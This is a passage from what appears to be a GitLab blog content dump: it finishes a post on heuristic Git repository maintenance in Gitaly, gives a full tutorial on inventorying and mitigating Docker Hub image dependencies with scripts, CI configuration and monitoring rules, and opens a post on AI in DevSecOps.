required.\n\nAt GitLab, we can't use this infrastructure because it does not give us enough\ncontrol over which maintenance tasks are executed at what point in time.\nFurthermore, it does not give us full control over exactly which data\nstructures we opt in to. Instead, we have implemented our own maintenance\nstrategies that are specific to how GitLab works and catered to our specific\nneeds. Unfortunately, the way GitLab implemented repository maintenance has\nbeen limiting us for quite a while by now.\n\n- It is unsuitable for large monorepositories.\n- It does not give us the ability to easily iterate on the employed maintenance\n  strategy.\n\nThis post explains our previous maintenance strategy and its problems as well as\nhow we revamped the architecture to allow us to iterate faster and more\nefficiently maintain repositories.\n\n## Our previous repository maintenance strategy\n\nIn the early days of GitLab, most of the application ran on a single server.\nOn this single server, GitLab directly accessed Git repositories. For various\nreasons, this architecture limited us, so we created the standalone Gitaly\nserver that provides a gRPC API to access Git repositories.\n\nTo migrate to exclusively accessing Git repository data using Gitaly we:\n\n- Migrated all the logic that was previously contained in the Rails\n   application to Gitaly.\n- Created Gitaly RPCs and updated Rails to not execute the logic directly, but\n   instead invoke the newly-implemented RPC.\n\nWhile this was the easiest way to tackle the huge task back then, the end\nresult was that there were still quite a few areas in the Rails codebase that\nrelied on knowing how the Git repositories were stored on disk.\n\nOne such area was repository maintenance. In an ideal world, the Rails server\nwould not need to know about the on-disk state of a Git repository. Instead,\nthe Rails server would only care about the data it wants to get out of the\nrepository or commit to it. Because of the Gitaly migration path we took,\nthe Rails application was still responsible for executing fine-grained\nrepository maintenance by calling certain RPCs:\n\n- `Cleanup` to delete stale, temporary files that have accumulated\n- `RepackIncremental` and `RepackFull` to either pack all loose objects into a\n  new packfile or alternatively to repack all packfiles into a single one\n- `PackRefs` to compress all references into a single `packed-refs` file\n- `WriteCommitGraph` to update the commit-graph\n- `GarbageCollect` to perform various different tasks\n\nThese low-level details of repository maintenance were being managed by the\nclient. But because clients didn't have any information on the on-disk state of\nthe repository, they could not even determine which of these maintenance tasks\nhad to be executed in the first place. Instead, we had a very simple heuristic:\nEvery few pushes, we ran one of the above RPCs to perform one of the maintenance\ntasks. While this heuristic worked, it wasn't great for the following reasons:\n\n- Repositories can be modified without using pushes at all. So if users only\n  use the Web IDE to commit to repositories, they may not get repacked at all.\n- Because repository maintenance is controlled by the client, Gitaly can't\n  assume a specific repository state.\n- The threshold for executing housekeeping tasks is set globally across all\n  projects rather than on a per-project basis. Consequently, no matter\n  whether you have a tiny repository or a huge monorepository, we would use the\n  same intervals for executing maintenance tasks. As you may imagine though,\n  doing a full repack of a Git repository that is only a few dozen megabytes in\n  size is a few orders of magnitudes faster than repacking a monorepository\n  that is multiple gigabytes in size.\n- Specific types of Git repositories hosted by Gitaly need special care and we\n  required Gitaly clients to know about these.\n- Repository maintenance was inefficient overall. Clients do not know about the\n  on-disk state of repositories. Consequently, they had no choice except to\n  repeatedly ask Gitaly to optimize specific data structures without knowing\n  whether this was required in the first place.\n\n## Heuristical maintenance strategy\n\nIt was clear that we needed to change the strategy we used for repository\nmaintenance. Most importantly, we wanted to:\n\n- Make Gitaly the single source of truth for how we maintain repositories.\n  Clients should not need to worry about low-level specifics, and Gitaly should\n  be able to easily iterate on the strategy.\n- Make the default maintenance strategy work for repositories of all sizes.\n- Make the maintenance strategy work for repositories of all types. A client\n  should not need to worry about which maintenance tasks must be executed for\n  what repository type.\n- Avoid optimizing data structures that already are in an optimal state.\n- Improve visibility into the optimizations we perform.\n\nAs mentioned in the introduction, Git periodically runs `git gc --auto`. This\ncommand inspects the repository's state and performs optimizations only when it\nfinds that the repository is in a sufficiently bad state to warrant the cost.\nWhile using this command directly in the context of Gitaly does not give us\nenough flexibility, it did serve as the inspiration for our new architecture.\n\nInstead of providing fine-grained RPCs to maintain various parts of a Git\nrepository, we now only provide a single RPC `OptimizeRepository` that works as\na black-box to the caller. This RPC call:\n\n1. Cleans up stale data in the repository if there is any.\n1. Analyzes the on-disk state of the repository.\n1. Depending on this on-disk state, performs only these maintenance tasks that\n   are deemed to be necessary.\n\nBecause we can analyze and use the on-disk state of the repository, we can be\nfar more intelligent about repository maintenance compared to the previous\nstrategy where we optimized some bits of the repository every few pushes.\n\n### Packing objects\n\nIn the old-style repository maintenance, the client would call either\n`RepackIncremental` or `RepackFull`. This would either: Pack all loose objects into a new `packfile` or repack all objects into a single `packfile`.\n\nBy default, we would perform a full repack every five repacks. While this may be\na good default for small repositories, it gets prohibitively expensive for huge\nmonorepositories where a full repack may easily take several minutes.\n\nThe new heuristical maintenance strategy instead scales the allowed number of\n`packfiles` by the total size of all combined `packfiles`. As a result, the\nlarger the repository becomes, the less frequently we perform a full repack.\n\n### Pruning objects\n\nIn the past, clients would periodically call `GarbageCollect`. In addition to\nrepacking objects, this RPC would also prune any objects that are unreachable\nand that haven't been accessed for a specific grace period.\n\nThe new heuristical maintenance strategy scans through all loose objects that\nexist in the repository. If the number of loose objects that have a modification\ntime older than two weeks exceeds a certain threshold, it spawns the\n`git prune` command to prune these objects.\n\n### Packing references\n\nIn the past, clients would call `PackRefs` to repack references into the\n`packed-refs` file.\n\nBecause the time to compress references scales with the size of the\n`packed-refs` file, the new heuristical maintenance strategy takes into account\nboth the size of the `packed-refs` file and the number of loose references that\nexist in the repository. If a ratio between these two figures is exceeded, we\ncompress the loose references.\n\n### Auxiliary data structures\n\nThere are auxiliary data structures like `commit-graphs` that are used by Git\nto speed up various queries. With the new heuristical maintenance strategy,\nGitaly now automatically updates these as required, either when they are\ndeemed to be out-of-date, or when they are missing altogether.\n\n### Heuristical maintenance strategy rollout\n\nWe rolled out this new heuristical maintenance strategy to GitLab.com in March 2022. Initially, we only rolled it out for\n[`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab), which is a\nrepository where maintenance performed particularly poorly in the past. You can\nsee the impact of the rollout in the following graph:\n\n![Latency of OptimizeRepository for gitlab-org/gitlab](https://about.gitlab.com/images/blogimages/repo-housekeeping-gitlab-org-gitlab-latency.png)\n\nIn this graph, you can see that:\n\n1. Until March 19, we used the legacy fine-grained RPC calls. We spent most\n   of the time in `RepackFull`, followed by `RepackIncremental` and `GarbageCollect`.\n1. Because March 19 and 20 occurred on a weekend, nothing much happens with\n   housekeeping.\n1. Early on March 21 we switched `gitlab-org/gitlab` to use heuristical\n   housekeeping using `OptimizeRepository`. Initially, there didn't seem to be\n   much of an improvement. There wasn't much difference in how much time we\n   spent maintaining this repository compared to the past.\n\n   However, this was caused by an inefficient heuristic. Instead of only pruning\n   objects when there were stale ones, we always pruned objects when we saw that\n   there were too many loose objects.\n1. We deployed a fix for this bug on March 22, which led to a significant drop in\n   time spent optimizing this repository compared to before.\n\nThis demonstrated two things:\n\n- We're easily able to iterate on the heuristics that we have in Gitaly.\n- Using the heuristics saves a lot of compute time as we don't unnecessarily\n  optimize anymore.\n\nWe have subsequently rolled this out to all of GitLab.com, starting on March\n29, 2022, with similar improvements. With this change, we more than halved the CPU\nload when performing repository optimizations.\n\n## Observability\n\nWhile it is great that `OptimizeRepository` has managed to save us a lot of\ncompute power, one goal was to improve visibility into repository housekeeping.\nMore specifically, we wanted to:\n\n- Gain visibility on the global level to see what optimizations are performed\n  across all of our repositories.\n- Gain visibility on the repository level to know what state a specific\n  repository is in.\n\nIn order to improve global visibility, we expose a set of Prometheus metrics that\nallow us to observe important details about our repository maintenance. The\nfollowing graphs show the optimizations performed in a 30-minute window of our\nproduction systems on GitLab.com.\n\n- The optimizations, which are being performed in general.\n\n  ![Repository optimization metrics for GitLab.com](https://about.gitlab.com/images/blogimages/repo-housekeeping-metrics-optimizations.png)\n\n- The average latency it takes to perform each of these optimizations.\n\n  ![Repository optimization metrics for GitLab.com](https://about.gitlab.com/images/blogimages/repo-housekeeping-metrics-latencies.png)\n\n- What kind of stale data we are cleaning up.\n\n  ![Repository optimization metrics for GitLab.com](https://about.gitlab.com/images/blogimages/repo-housekeeping-metrics-cleanups.png)\n\nTo improve visibility into the state each repository is in we have started to\nlog structured data that includes all the relevant bits. A subset of the\ninformation it exposes is:\n\n- The number of loose objects and their sizes.\n- The number of `packfiles` and their combined size.\n- The number of loose references.\n- The size of the `packed-refs` file.\n- Information about `commit-graphs`, bitmaps and other auxiliary data\n  structures.\n\nThis information is also exposed through Prometheus metrics:\n\n![Repository state metrics for GitLab.com](https://about.gitlab.com/images/blogimages/repo-state-metrics.png)\n\nThese graphs expose important metrics of the on-disk state of our repositories:\n\n- The top panel shows which data structures exist.\n- The heatmaps on the left show how large specific data structures are.\n- The heatmaps on the right show how many of these data structures we have.\n\nCombining both the global and per-repository information allows us to easily\nobserve how repository maintenance behaves during normal operations. But more\nimportantly, it gives us meaningful data when rolling out new features that\nchange the way repositories are maintained.\n\n## Manually enabling heuristical housekeeping\n\nWhile the heuristical housekeeping is enabled by default starting with GitLab\n15.9, it has already been introduced with GitLab 14.10. If you want to use the\nnew housekeeping strategy before upgrading to 15.9, you can opt in by\nsetting the `optimized_housekeeping` [feature flag](https://docs.gitlab.com/ee/administration/feature_flags.html#how-to-enable-and-disable-features-behind-flags).\nYou can do so via the `gitlab-rails` console:\n\n```\nFeature.enable(:optimized_housekeeping)\n```\n\n## Future improvements\n\nWhile the new heuristical optimization strategy has been successfully\nbattle-tested for a while now for GitLab.com, at the time of writing this\nblog post, it still wasn't enabled by default for self-deployed installations.\nThis has finally changed with GitLab 15.8, where we have default-enabled the new\nheuristical maintenance strategy.\n\nWe are not done yet, though. Now that Gitaly is the only source of truth for how\nrepositories are optimized, we are tracking improvements to our maintenance\nstrategy in [epic 7443](https://gitlab.com/groups/gitlab-org/-/epics/7443):\n\n- [Multi-pack indices](https://git-scm.com/docs/multi-pack-index) and geometric\n  repacking will help us to further reduce the time spent repacking objects.\n- [Cruft packs](https://git-scm.com/docs/cruft-packs) will help us to further\n  reduce the time spent pruning objects and reduce the overall size of\n  unreachable objects.\n- Gitaly will automatically run housekeeping tasks when receiving mutating RPC\n  calls so that clients don't have to call `OptimizeRepository` at all anymore.\n\nSo stay tuned!\n\n",[1067,6962,1268],{"slug":10756,"featured":6,"template":678},"scaling-repository-maintenance","content:en-us:blog:scaling-repository-maintenance.yml","Scaling Repository Maintenance","en-us/blog/scaling-repository-maintenance.yml","en-us/blog/scaling-repository-maintenance",{"_path":10762,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10763,"content":10768,"config":10774,"_id":10776,"_type":16,"title":10777,"_source":17,"_file":10778,"_stem":10779,"_extension":20},"/en-us/blog/how-gitlab-can-help-mitigate-deletion-open-source-images-docker-hub",{"title":10764,"description":10765,"ogTitle":10764,"ogDescription":10765,"noIndex":6,"ogImage":9309,"ogUrl":10766,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10766,"schema":10767},"GitLab helps mitigate Docker Hub's open source image removal","CI/CD and Kubernetes deployments can be affected by Docker Hub tier changes. This tutorial walks through analysis, mitigations, and long-term solutions.","https://about.gitlab.com/blog/how-gitlab-can-help-mitigate-deletion-open-source-images-docker-hub","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab can help mitigate deletion of open source container images on Docker Hub\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-03-16\",\n      }",{"title":10769,"description":10765,"authors":10770,"heroImage":9309,"date":10771,"body":10772,"category":734,"tags":10773},"How GitLab can help mitigate deletion of open source container images on Docker Hub",[4808],"2023-03-16","\nDocker, Inc. shared an email update to Docker Hub users that it will [sunset Free Team organizations](https://www.infoworld.com/article/3690890/docker-sunsets-free-team-subscriptions-roiling-open-source-projects.html). If accounts do not upgrade to a paid plan before April 14, 2023, their organization's images may be deleted after 30 days. This change can affect open source organizations that publish their images on Docker Hub, as well as consumers of these container images, used in CI/CD pipelines, Kubernetes cluster deployments, or docker-compose demo environments. This blog post discusses tools and features on the GitLab DevSecOps platform to help users analyze and mitigate the potential impact on production environments.\n\n_Update (March 20, 2023): Docker, Inc. [published an apology blog post](https://www.docker.com/blog/we-apologize-we-did-a-terrible-job-announcing-the-end-of-docker-free-teams/), including a FAQ, and clarifies that the company will not delete container images by themselves. Maintainers can migrate to a personal account, join the Docker-sponsored open source program, or opt into a paid plan. If open source container image maintainers do nothing, this leads into another issue: Stale container images can become a security problem. The following blog post can help with security analysis and migration too._ \n\n_Update (March 27, 2023): On March 24, 2023, Docker, Inc. [published another blog post](https://www.docker.com/blog/no-longer-sunsetting-the-free-team-plan/) announcing the reversal of the decision to sunset the Free team plan and updated its [FAQ for Free Team organization](https://www.docker.com/developers/free-team-faq/). While this is a welcome development for the entire community, it is still crucial to ensure the reliability of your software development lifecycle by ensuring redundancies are in place for your container registries, as detailed in this blog post._\n\n### Inventory of used container images\n\nCI/CD pipelines in GitLab can execute jobs in containers. This is specified by the [`image` keyword](https://docs.gitlab.com/ee/ci/yaml/#image) in jobs, job templates, or as a global [`default`](https://docs.gitlab.com/ee/ci/yaml/#default) attribute. For the first iteration, you can clone a GitLab project locally, and search for the `image` string in all CI/CD configuration files. The following example shows how to execute the `find` command on the command line interface (CLI), searching for files matching the name pattern `*ci.yml`, and looking for the `image` string in the file content. The command line prints a list of search pattern matches, and the corresponding file name to the standard output. The example inspects the [project](https://gitlab.com/gitlab-com/www-gitlab-com) for the [GitLab handbook](https://about.gitlab.com/handbook/) and [website](https://about.gitlab.com/) to analyze whether its CI/CD deployment pipelines could be affected by the Docker Hub changes.\n\n```bash\n$ git clone https://gitlab.com/gitlab-com/www-gitlab-com && cd www-gitlab-com\n\n$ find . -type f -iname '*ci.yml' -exec sh -c \"grep 'image:' '{}' && echo {}\" \\;\n\n  image: registry.gitlab.com/gitlab-org/gitlab-build-images:www-gitlab-com-debian-${DEBIAN_VERSION}-ruby-3.0-node-16\n  image: alpine:edge\n  image: alpine:edge\n  image: debian:stable-slim\n  image: debian:stable-slim\n  image: registry.gitlab.com/gitlab-org/gitlab-build-images:danger\n./.gitlab-ci.yml\n```\n\nA [discussion on Hacker News](https://news.ycombinator.com/item?id=35168802) mentions that \"official Docker images\" are not affected, but this is not officially confirmed by Docker yet. [Official Docker images](https://hub.docker.com/u/library) do not use a namespace prefix, i.e. `namespace/imagename` but instead `debian:\u003Ctagname>` for example. `registry.gitlab.com/gitlab-org/gitlab-build-images:danger` uses a full URL image string, which includes the image registry server domain, `registry.gitlab.com` in the shown example.\n\nIf there is no full URL prefix in the image string, this is an indicator that this image could be pulled from Docker Hub by default. There might be other infrastructure safety nets put in place, for example a cloud provider registry which caches the Docker Hub images (Google Cloud, AWS, Azure, etc.).\n\n#### Advanced search for images\n\nYou can use the [project lint API endpoint](https://docs.gitlab.com/ee/api/lint.html#validate-a-projects-ci-configuration) to fetch the CI configuration. The following script uses the [python-gitlab API library](https://python-gitlab.readthedocs.io/en/stable/gl_objects/ci_lint.html) to implement the API endpoint:\n\n1. Collect all projects from either a single project ID, a group ID with projects, or from the instance.\n2. Run the `project.ci_lint.get()` method to get a merged yaml configuration for CI/CD from the current GitLab project.\n3. Parse the yaml content and print only the job names, and the image keys.\n\nThe [full script is located here](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_all_cicd_job_images.py), and is open source, licensed under MIT.\n\n```python\n#!/usr/bin/env python\n\nimport gitlab\nimport os\nimport sys\nimport yaml\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\nGITLAB_TOKEN = os.environ.get('GL_TOKEN') # token requires developer permissions\nPROJECT_ID = os.environ.get('GL_PROJECT_ID') #optional\n# https://gitlab.com/gitlab-da/use-cases/docker\nGROUP_ID = os.environ.get('GL_GROUP_ID', 65096153) #optional\n\n#################\n# Main\n\nif __name__ == \"__main__\":\n    if not GITLAB_TOKEN:\n        print(\"🤔 Please set the GL_TOKEN env variable.\")\n        sys.exit(1)\n\n    gl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n    # Collect all projects, or prefer projects from a group id, or a project id\n    projects = []\n\n    # Direct project ID\n    if PROJECT_ID:\n        projects.append(gl.projects.get(PROJECT_ID))\n\n    # Groups and projects inside\n    elif GROUP_ID:\n        group = gl.groups.get(GROUP_ID)\n\n        for project in group.projects.list(include_subgroups=True, all=True):\n            # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n            manageable_project = gl.projects.get(project.id)\n            projects.append(manageable_project)\n\n    # All projects on the instance (may take a while to process)\n    else:\n        projects = gl.projects.list(get_all=True)\n\n    print(\"# Summary of projects and their CI/CD image usage\")\n\n    # Loop over projects, fetch .gitlab-ci.yml, run the linter to get the full translated config, and extract the `image:` setting\n    for project in projects:\n\n        print(\"# Project: {name}, ID: {id}\\n\\n\".format(name=project.name_with_namespace, id=project.id))\n\n        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/ci_lint.html\n        lint_result = project.ci_lint.get()\n\n        data = yaml.safe_load(lint_result.merged_yaml)\n\n        for d in data:\n            print(\"Job name: {n}\".format(n=d))\n            for attr in data[d]:\n                if 'image' in attr:\n                    print(\"Image: {i}\".format(i=data[d][attr]))\n\n        print(\"\\n\\n\")\n\nsys.exit(0)\n```\n\nThe [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_all_cicd_job_images.py) requires Python (tested with 3.11) and the python-gitlab and pyyaml modules. Example on macOS with Homebrew:\n\n```shell\n$ brew install python\n$ pip3 install python-gitlab pyyaml\n```\n\nYou can execute the script and set the different environment variables to control its behavior:\n\n```shell\n$ export GL_TOKEN=$GITLAB_TOKEN\n\n$ export GL_GROUP_ID=12345\n$ export GL_PROJECT_ID=98765\n\n$ python3 get_all_cicd_job_images.py\n\n# Summary of projects and their CI/CD image usage\n# Project: Developer Evangelism at GitLab  / use-cases / Docker Use cases  / Custom Container Image Python, ID: 44352983\n\nJob name: docker-build\nImage: docker:latest\n\n# Project: Developer Evangelism at GitLab  / use-cases / Docker Use cases  / Gitlab Dependency Proxy, ID: 44351128\n\nJob name: .test-python-version\nJob name: image-docker-hub\nImage: python:3.11\nJob name: image-docker-hub-dep-proxy\nImage: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/python:3.11\n```\n\nPlease verify the script and fork it for your own analysis and mitigation. The missing parts are checking the image URLs, and doing a more sophisticated search. The code has been prepared to either check against a single project, a group with projects, or an instance (this may take very long, use with care).\n\nYou can perform a more history-focused analysis by fetching the CI/CD job logs from GitLab and search for the pulled container image to get an overview of past Docker executor runs – for example: `Using Docker executor with image python:3.11 ...`. The screenshot shows the CI/CD job logs UI search – you can automate the search using the GitLab API, and the [python-gitlab library](https://python-gitlab.readthedocs.io/en/stable/gl_objects/pipelines_and_jobs.html#jobs), for example.\n\n![GitLab CI/CD job logs, searching for the `image` keyword](https://about.gitlab.com/images/blogimages/docker-hub-oss-image-deletion-mitigation/cicd_gitlab_job_logs_search_image.png)\n\nThis snippet can be used in combination with the code shared for the CI lint API endpoint. It fetches the job trace logs, and searches for the `image` keyword in the log. The missing parts are splitting the log line by line, and extracting the image key information. This is left as an exercise for the reader.\n\n```python\n        for job in project.jobs.list():\n            log_trace = str(job.trace())\n\n            print(log_trace)\n\n            if 'image' in log_trace:\n                print(\"Job ID: {i}, URL {u}\".format(i=job.id, u=job.web_url))\n                print(log_trace)\n```\n\n### More inventory considerations\n\nSimilar to the API script for CI/CD navigating through all projects, you will need to analyze all Kubernetes manifest configuration files – using either a pull- or push-based approach. This can be achieved by using the [python-gitlab methods to load files from the repository](https://python-gitlab.readthedocs.io/en/stable/gl_objects/projects.html#project-files) and searching the content in similar ways. Helm charts use container images, too, and will require additional analysis.\n\nAn additional search possibility: Custom-built container images that use Docker Hub images as a source. A project will consist of:\n\n1. `Dockerfile` file that uses `FROM \u003Cimagename>`\n2. `.gitlab-ci.yml` configuration file that builds container images (using Docker-in-Docker, Kaniko, etc.)\n\nAn alternative search method for customers is available by using the [Advanced Search](https://docs.gitlab.com/ee/user/search/advanced_search.html) through the GitLab UI and API. The following example uses the [scope: blobs](https://docs.gitlab.com/ee/api/search.html#scope-blobs-premium-2) to search for the `FROM` string:\n\n```shell\n$ export GITLAB_TOKEN=xxxxxxxxx\n\n# Search in https://gitlab.com/gitlab-da\n/use-cases/docker/custom-container-image-python\n\n$ curl --header \"PRIVATE-TOKEN: $GITLAB_TOKEN\" \"https://gitlab.com/api/v4/projects/44352983/search?scope=blobs&search=FROM%20filename:Dockerfile*\"\n```\n\n![Command line output from Advanced Search API, scope blobs, search `FROM` in `Dockerfile*` file names.](https://about.gitlab.com/images/blogimages/docker-hub-oss-image-deletion-mitigation/cli_gitlab_advanced_search_api_dockerfile_from.png)\n\n## Mitigations and solutions\n\nThe following sections discuss potential mitigation strategies, and long-term solutions.\n\n### Mitigation: GitLab dependency proxy\n\nThe dependency proxy provides a caching mechanism for Docker Hub images. It helps reduce the bandwidth and time required to download and pull the images. It also helped to [mitigate the Docker Hub pull rate limits introduced in 2020](/blog/minor-breaking-change-dependency-proxy/). The dependency proxy can be configured for public and private projects.\n\nThe [dependency proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/) needs to be enabled for a group. It also needs to be enabled by an instance administrator for self-managed environments, if turned off.\n\nThe following example creates two jobs: `image-docker-hub` and `image-docker-hub-dep-proxy`. The dependency proxy job uses the `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` CI/CD variable to instruct GitLab to store the image in the cache, and only pull it once when not available.\n\n```yaml\n.test-python-version:\n  script:\n    - echo \"Testing Python version:\"\n    - python --version\n\nimage-docker-hub:\n  extends: .test-python-version\n  image: python:3.11\n\nimage-docker-hub-dep-proxy:\n  extends: .test-python-version\n  image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/python:3.11\n```\n\nThe configuration is available in [this project](https://gitlab.com/gitlab-de/use-cases/docker/gitlab-dependency-proxy).\n\nThe stored container image is visible at the group level in the `Package and container registries > Dependency Proxy` menu.\n\n### Mitigation: Container registry mirror\n\n[This blog post](/blog/mitigating-the-impact-of-docker-hub-pull-requests-limits/) describes how to run a local container registry mirror. Skopeo from Red Hat is another alternative for syncing container image registries, a practical example is described [in this article](https://marcbrandner.com/blog/transporting-container-images-with-skopeo/).\n\nThe GitLab Cloud Native installation ([Helm charts](https://docs.gitlab.com/charts/) and [Operator](https://docs.gitlab.com/operator/)) use a [mirror of tagged images](https://gitlab.com/gitlab-org/cloud-native/mirror/images) consumed by the related projects. Other product stages follow a similar approach, the [security scanners are shipped in container images](https://docs.gitlab.com/ee/user/application_security/offline_deployments/#container-registries-and-package-repositories) maintained by GitLab. This also enables self-managed airgapped installations.\n\n### Mitigation: Custom images in GitLab container registry\n\nReproducible builds and compliance requirements may have required you to create custom container images for CI/CD and Kubernetes already. This is also key to verify that no untested and untrusted images are being used in production. GitLab provides a fully integrated [container registry](https://docs.gitlab.com/ee/user/packages/container_registry/), which can be used natively within CI/CD pipelines and [GitOps workflows with the agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/gitops.html).\n\nThe following `Dockerfile` example extends an existing image layer, and installs additional tools using the Debian Apt package manager.\n\n```\nFROM python:3.11-bullseye\n\nENV DEBIAN_FRONTEND noninteractive\n\nRUN apt update && apt -y install git curl jq && rm -rf /var/lib/apt/lists/*\n```\n\nYou can [use Docker to build container images](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html), and alternative options are Kaniko or Podman. On GitLab.com SaaS, you can use the Docker CI/CD template to build and push images. The following example modifies the `docker-build` job to only build the latest tag from the default branch:\n\n```yaml\ninclude:\n  - template: Docker.gitlab-ci.yml\n\ndocker-build:\n  stage: build\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH || $CI_COMMIT_TAG'\n      #when: manual\n      #allow_failure: true\n```\n\nFor this example, we specifically want to provide a Git tag that gets used for the container image tag as well.\n\n```\n$ git tag 3-11-bullseye\n$ git push --tags\n```\n\nThe image will be available at the GitLab container registry URL and the project namespace path.This path needs to be replaced in all projects that use a Python-based image. You can [create scripts for the GitLab API](/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation/) to update files and create MRs automatically,\n\n```\nimage: registry.gitlab.com/gitlab-da/use-cases/docker/custom-container-image-python:3-11-bullseye\n```\n\n_Note: This is a demo project and not actively maintained. Please fork/copy it for your own needs._\n\n## Observability and security\n\nThe [number of failed CI/CD pipelines](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html) can be a good service level indicator (SLI) to verify whether the environment is affected by the Docker Hub changes. The same SLI applies for CI/CD jobs that build container images, using a `Dockerfile` file, which is based on Docker Hub images (FROM \u003Cimagename>).\n\nA similar SLI applies to Kubernetes cluster deployments – if they continue to generate failures in GitOps pull or CI/CD push scenarios, additional analysis and actions are required. The pod status `ErrImagePull` and [`ImagePullBackOff`](https://kubernetes.io/docs/concepts/containers/images/#imagepullbackoff) will immediately show the problems. The [image pull policy](https://kubernetes.io/docs/concepts/containers/images/#image-pull-policy) should also be revised – `Always` will immediately cause a problem, while `IfNotPresent` will use the local image cache.\n\n[This alert rule example](https://awesome-prometheus-alerts.grep.to/rules.html#rule-kubernetes-1-18) for Prometheus observing a Kubernetes cluster can help detect the pod state as not healthy.\n\n```yaml\n  - alert: KubernetesPodNotHealthy\n    expr: sum by (namespace, pod) (kube_pod_status_phase{phase=~\"Pending|Unknown|Failed\"}) > 0\n    for: 15m\n    labels:\n      severity: critical\n    annotations:\n      summary: Kubernetes Pod not healthy (instance {{ $labels.instance }})\n      description: \"Pod has been in a non-ready state for longer than 15 minutes.\\n  VALUE = {{ $value }}\\n  LABELS = {{ $labels }}\"\n```\n\nCI/CD pipeline linters and Git hooks can also be helpful to enforce using a GitLab registry URL prefix in all `image` tags, when new updates to CI/CD configurations are being pushed into merge requests.\n\nKubernetes deployment images can be controlled through additional integrations with the [Open Policy Agent Gatekeeper](https://www.openpolicyagent.org/docs/latest/kubernetes-introduction/) or [Kyverno](https://kyverno.io/policies/best-practices/restrict_image_registries/restrict_image_registries/). Kyverno also allows you to [mutate the image registry location](https://kyverno.io/policies/other/replace_image_registry/replace_image_registry/), and redirect the pod image to trusted sources.\n\n[Operational container scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) in Kubernetes clusters and [container scanning in CI/CD pipelines](https://docs.gitlab.com/ee/user/application_security/container_scanning/) are recommended. This ensures that all images do not expose security vulnerabilities.\n\n## Long-term solutions\n\nAs a long-term solution, analyze the affected Docker Hub organizations images and match them against your image usage inventory. Some organizations have raised their concerns in [this Docker Hub feedback issue](https://github.com/docker/hub-feedback/issues/2314). Be sure to identify critical production CI/CD workflows and replace all external dependencies with local maintained images.\n\nFork/copy project Dockerfile files from the upstream Git repositories, and use them as the single source of truth for custom container builds. This will also require training and documentation for DevSecOps teams, for example optimizing container images for [efficient CI/CD pipelines](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html). More DevSecOps efficiency tips can be found in my Chemnitz Linux Days talk about \"Efficient DevSecOps Pipelines in a Cloud Native World\" ([slides](https://go.gitlab.com/RPog2h)).\n\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vT3jcfpddKL2jq7leX01QX6S4Y8vfLLBZMz4L1ZHMLY3xzB4IGOOIExODLEzH8YQM1atCNPm07Bw9m_/embed?start=false&loop=true&delayms=3000\" frameborder=\"0\" width=\"960\" height=\"569\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\nPlease share your ideas and thoughts about Docker Hub change mitigations and tools on the [GitLab community forum](https://forum.gitlab.com/). Thank you!\n\nCover image by [Roger Hoyles](https://unsplash.com/photos/sTOQyRD8m74) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[1384,2509,815],{"slug":10775,"featured":6,"template":678},"how-gitlab-can-help-mitigate-deletion-open-source-images-docker-hub","content:en-us:blog:how-gitlab-can-help-mitigate-deletion-open-source-images-docker-hub.yml","How Gitlab Can Help Mitigate Deletion Open Source Images Docker Hub","en-us/blog/how-gitlab-can-help-mitigate-deletion-open-source-images-docker-hub.yml","en-us/blog/how-gitlab-can-help-mitigate-deletion-open-source-images-docker-hub",{"_path":10781,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10782,"content":10787,"config":10791,"_id":10793,"_type":16,"title":10794,"_source":17,"_file":10795,"_stem":10796,"_extension":20},"/en-us/blog/what-the-ml-ai",{"title":10783,"description":10784,"ogTitle":10783,"ogDescription":10784,"noIndex":6,"ogImage":8601,"ogUrl":10785,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10785,"schema":10786},"What the ML is up with DevSecOps and AI?","AI will revolutionize DevSecOps platforms. Learn about where GitLab is today and what we're working on.","https://about.gitlab.com/blog/what-the-ml-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What the ML is up with DevSecOps and AI?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2023-03-16\",\n      }",{"title":10783,"description":10784,"authors":10788,"heroImage":8601,"date":10771,"body":10789,"category":791,"tags":10790},[6860],"\n\nGitLab believes at our core that [AI will revolutionize the power of DevSecOps platforms](//topics/devops/the-role-of-ai-in-devops/) to bring to life a software development experience that feels straight out of science fiction. GitLab users already benefit from a step-function increase in productivity when they adopt our platform: streamlined collaboration, operational efficiencies, and massive acceleration in time to delivery. But by introducing machine learning (ML) and other artificial intelligence (AI) capabilities into the fabric of The DevSecOps Platform feature set, we aim to take those gains to a whole new level. \n\nGitLab occupies a unique seat in relation to defining how AI and ML will impact DevSecOps into the future. As the creators of the DevSecOps platform category, we are the founders behind a successful philosophy for bringing DevSecOps principles into practice. By virtue of curating the entire software development 